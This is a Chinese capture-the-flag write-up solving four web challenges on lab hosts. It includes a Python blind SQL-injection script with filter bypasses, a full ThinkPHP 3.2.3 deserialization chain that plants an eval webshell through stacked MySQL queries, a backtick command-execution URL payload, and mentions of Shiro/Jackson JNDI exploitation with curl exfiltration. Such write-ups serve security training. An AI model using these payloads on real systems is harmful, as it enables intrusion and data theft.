4DwS6t6Xg0zLNuAm.pngoriginal

第六,小伙伴们辛苦了。

WEB1 javaweb

操作内容:

打开是 /login,那么二话不说,就 post 点东西上去。

vA5SLuY4HC2U4MEh.pngthumbnail

有个 deleteMe, shiro没跑了。

直接绕。

vPECqEIggZRZEgEp.pngthumbnail

nice, 还看到时 jackson。测了下,此处可反序列化。

i1eHOIbT8yaVquqi.pngthumbnail

直接工具造他。

https://github.com/welk1n/JNDI-Injection-Exploit

这里测了下不好弹 shell,没成功。那么退一步,用 curl 直接带 flag 出来了。

4AUpPmAH9oRNck31.pngthumbnail

打,用 Spring 那条链。

Xe8bazVHXJG446vM.pngthumbnail
dp2b0Y1twrDULvjs.pngthumbnail

拿到 flag。

X0MLHPOmSwSJSfNg.pngthumbnail

flag值:

flag{7de56a6b-96b4-48c3-b8ce-af078c0acd2f}

WEB2 happysql

操作内容:

一个登录框,诶呦我的妈,直接注入。

5G8KAdDBhidRFkEy.pngthumbnail

测了下,单引号被过滤,可以用双引号代替。空格呢,/**/代替,见招拆招。等号被过滤就 regexp 正则走一波,文字被过滤就转十六进制。

写个脚本,一把梭。

先得到版本 10. 开头,判断是 marriadb。然后开始爆表名,information_schema 里 or 被过滤了,则可以用 https://mariadb.com/kb/en/mysqlinnodb_table_stats/ 这个表代替。然后得到表名之后,就可以尝试读出其中的内容了。

import binascii
import string
import requests
result = ''
for j in range(50):
    for i in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-,.":
    # for i in string.printable:
        url = "http://eci-2ze6jljai3r428c1jf6q.cloudeci1.ichunqiu.com/login.php"
        headers = {
            'Content-Type': "application/x-www-form-urlencoded",
            'Referer': "http://eci-2zej5nwlszgd0g0na5qf.cloudeci1.ichunqiu.com/index.php",
            'Origin': "http://eci-2zej5nwlszgd0g0na5qf.cloudeci1.ichunqiu.com",
            'cache-control': "no-cache",
            'Postman-Token': "21b59b79-a818-4fd1-a908-3112b45f9fc6"
        }
        # 10.
        # response = requests.request("POST", url, data={
        #     'username': 'admin"||(select/**/version())/**/regexp/**/0x' + binascii.hexlify(
        #         ("^" + result + i).encode()).decode() + '#', 'password': '123456'}, headers=headers)
        # ctf,f1ag,
        # response = requests.request("POST", url, data={
        #     'username': 'admin"||(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)/**/regexp/**/0x' + binascii.hexlify(
        #         ("^" + result + i).encode()).decode() + '#',
        #     'password': '123456'}, headers=headers)
        response = requests.request("POST", url, data={'username': 'admin"||(select/**/*/**/from/**/f1ag)/**/regexp/**/0x' + binascii.hexlify(("^" + result + i).encode()).decode() + '#',
                                                       'password': '123456'}, headers=headers)
        print(response.text)
        if response.text.find("home") != -1:
            result += i
            print(result)
            break
print(result)
DWvFBiWfRv4dzpCD.pngthumbnail
vQyLLpBBPD2UHqgm.pngthumbnail
xgy4uODma97vmrRy.pngthumbnail

flag值:

flag{1d260c91-3ff2-48e1-a0f9-61c1d5e7fe06}

WEB3 easytp

操作内容:

打开靶机,/www.zip 审源码。

oKG1Z3GQqLX2kYem.pngthumbnail

看到反序列化点。

看下 tp 版本是 3.2.3,那网上找个链子直接打。https://f5.pm/go-53579.html

mysql 任意读文件不得劲,没读到 flag。不过在/etc/passwd里看到有mysql 用户,装了 mysql 那就好说了。直接用这个打本地的 mysql, 把堆叠开了直接写 shell。密码,试一试就出来了,弱密码 123456。

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    //读取本地文件~
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了~
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "123456"
        );
    }
}
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[glzjin]);?>' into outfile '/var/www/html/glzjin2.php';#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => "http://eci-2ze6t3je33wd3311362p.cloudeci1.ichunqiu.com/Home/Index/test",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
        CURLOPT_HTTPHEADER => array(
            "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
            "cache-control: no-cache"
        ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    curl_close($curl);
    if ($err) {
        echo "cURL Error #:" . $err;
    } else {
        echo $response;
    }
}

写了 shell 之后蚁剑连上,读取 /start.sh 发现 flag 在数据库里。

UdSNzBSBFkE9dcMg.pngthumbnail
PG1dtTFTZWOAw5UC.pngthumbnail

蚁剑自带的数据库连接器连不上。

那就冰蝎。

ec9vuhG6pfsjgCnG.pngthumbnail

这个冰蝎直接查询也是没东西,不过咱们可以用他的导出功能。

IILG3RanVyG5fv1g.pngthumbnail
2eKpwfTIpYcKa186.pngthumbnail

flag值:

flag{215b56f9-c86a-409d-855c-c549f6213b5b}

WEB4 write_shell

操作内容:

yV9CUMqxBU8F9dup.pngthumbnail

看下源码。

两个动作,pwd 就获取当前路径,upload 则是将 data 参数里的内容给写入到那个目录的index.php里。

再看看写入部分,屏蔽了 php,可以用短标签<?= ?>解决。空格和花括号被屏蔽,那么空格就用\t来代替了。

而没有屏蔽反引号,则可以利用这个来执行命令。

oWDHx1GjCOw6NrY5.pngthumbnail

sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/

然后来upload 下,不磨叽,直接读根目录下文件了。

bJGNXVHWdm4oJjRD.pngthumbnail
http://eci-2zeb1jg3i7kmfssp69vi.cloudeci1.ichunqiu.com/?action=upload&data=<?=`cat\t/*`?>

即可读到 flag。

X81DP7rJwjt0ADTN.pngthumbnail

flag值:

flag{5b3580cd-0b4c-4484-b991-50a574133bd6}